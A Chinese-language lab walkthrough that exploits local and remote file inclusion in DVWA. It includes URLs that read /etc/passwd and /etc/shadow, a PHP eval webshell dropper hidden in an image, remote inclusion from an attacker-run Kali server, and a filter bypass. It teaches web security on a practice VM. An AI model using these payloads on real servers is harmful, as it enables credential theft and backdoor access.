當上傳是高安全模式時,我們大可不必非要用上傳滲透實現對伺服器的攻擊,我們可以換一種方式。 1.實驗環境 目標靶機:OWASP_Broken_Web_Apps_VM_1.2 "下載地址" 我們還需要 和`kali`這兩個工具,把所有的殺毒軟體關了,不然中國菜刀可能會被殺毒軟體和諧。 實驗原理及危害 2 ...
當上傳是高安全模式時,我們大可不必非要用上傳滲透實現對伺服器的攻擊,我們可以換一種方式。
1.實驗環境
目標靶機:OWASP_Broken_Web_Apps_VM_1.2
下載地址
我們還需要中國菜刀
和kali
這兩個工具,把所有的殺毒軟體關了,不然中國菜刀可能會被殺毒軟體和諧。
實驗原理及危害
文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指當伺服器開啟allow_url_include選項時,就可
以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文
件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。文件包含漏洞分為本地文件包
含漏洞與遠程文件包含漏洞,遠程文件包含漏洞是因為開啟了php配置中的allow_url_fopen選項(選項開啟之後,服務
器允許包含一個遠程的文件)。伺服器通過php的特性(函數)去包含任意文件時,由於要包含的這個文件來源過濾不
嚴,從而可以去包含一個惡意文件,而我們可以構造這個惡意文件來達到自己的目的。
1. 文件包含(File Inclusion)即程式通過[包含函數]調用本地或遠程文件,以此來實現拓展功能
2. 被包含的文件可以是各種文件格式,而當文件裡面包含惡意代碼,則會形成遠程命令執行或文件上傳漏洞
3. 文件包含漏洞主要發生在有包含語句的環境中,例如PHP所具備include、require等包含函數
文件包含分為兩類:
本地文件包含LFI(Local File Inclusion) 當被包含的文件在伺服器本地時,就形成本地文件包含
遠程文件包含RFI(Remote File Inclusion) 當被包含的文件在第三方伺服器時,叫做遠程文件包含
2.低安全級別滲透
首先我們需要用虛擬機打開目標靶機,並查看ip地址
root@owaspbwa:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 00:0c:29:b2:da:ea brd ff:ff:ff:ff:ff:ff
inet 192.168.13.144/24 brd 192.168.13.255 scope global eth0
inet6 fe80::20c:29ff:feb2:daea/64 scope link
valid_lft forever preferred_lft forever
找到ip後,我們打開網頁訪問192.168.13.144
1.本地文件包含
訪問本地系統賬號信息及其它敏感信息
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/passwd
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/shadow
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/php5/apache2/php.ini
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/mysql/my.cnf
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/apache2/apache2.conf
這些都是正常的訪問:
圖片插入一句話工具
因為在上傳高安全模式下,我們只能上傳圖片,所以我們可以利用圖片來產生我們需要的小馬文件。
1. 製作一句話圖片木馬
<?fputs(fopen("yjssjm.php","w"),'<?php eval($_POST[yjssjm]);?>')?>
#yjssjm.php 是我們生成的文件裡面寫著<?php eval($_POST[yjssjm]);?>
3. 上傳圖片木馬文件
4. 執行文件包含並生成後門
5. 通過菜刀連接webshell
提示:
/var/www/dvwa/hackable/uploads #dvwa文件上傳訪問的目錄
/var/www/dvwa/vulnerabilities/fi #dvwa文件包含訪問的目錄 yjssjm.php
這個時候我們的圖片以及是帶有木馬的圖片了。
出來這麼一堆亂碼,就是成功了。
我們可以去目標靶機OWASP上看一下
地址寫的時候,將fi後面的全部去掉,換成你生成的小馬的文件名
http://192.168.13.144/dvwa/vulnerabilities/fi/yjssjm.php
2.遠程文件包含
建立遠程伺服器,這裡使用kali作為遠程伺服器,有條件的小伙伴可以使用雲伺服器。
原理特別簡單,我們只需要在遠程伺服器上創建小馬文件,使用遠程文件包含,包含到我們這個文件就可以了。
打開kali,預設用戶名是root,密碼是toor
打開apache
root@kali:~# service apache2 start
root@kali:~# vim /var/www/html/yjssjm.txt #在網站目錄下麵創建文件
<?fputs(fopen("yjssjm1.php","w"),'<?php eval($_POST[yjssjm]);?>')?>
訪問一下發現apache已經成功啟動
打開中國菜刀,同樣的操作,這裡是yjssjm1.php
http://192.168.13.144/dvwa/vulnerabilities/fi/yjssjm1.php
同樣能入侵伺服器。
3.中安全級別的滲透
查看源碼我們發現增加了遠程文件包含的安全性
1.本地文件包含
因為源碼只是增加了遠程的安全性,所以我們用上面寫的低安全性滲透的方法就可以實現了
2.遠程文件包含
<?php
$file = $_GET['page']; // The page we wish to display
// Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
?>
==============================================================
我們仔細看一下這些代碼,其實就是如果我匹配到了"http://" 這些字元,那麼我就將其替換為空字元
同樣如果我匹配到了"https://" 這些字元,那麼我就將其替換為空字元
如果我們再去訪問下麵這個網址
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=http://192.168.13.145/yjssjm.txt
當然是什麼都訪問不到,因為它預設把我們等號後面的那個"http://"去掉了,即
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=192.168.13.145/yjssjm.txt
這樣我們當然會失敗,所以我們需要多加一個"http://"
而添加的方法不唯一,下麵舉個例子
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.13.145/yjssjm.txt
hthttp://tp:// - http:// = http://
只要執行成功,小馬文件生成之後,下麵的步驟就跟上面的一樣了。
你們的評論和點贊是我寫文章的最大動力,蟹蟹。